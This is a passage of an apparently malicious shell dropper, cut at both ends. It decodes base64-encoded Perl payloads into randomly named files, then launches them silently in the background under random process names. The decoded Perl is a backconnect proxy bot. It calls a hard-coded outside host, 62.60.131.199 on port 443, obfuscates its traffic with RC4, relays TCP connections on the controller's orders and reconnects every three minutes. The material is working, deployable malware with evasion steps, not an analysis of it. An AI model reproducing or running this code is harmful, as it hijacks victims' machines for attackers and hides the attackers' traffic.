KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #51 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #51 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 52 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv 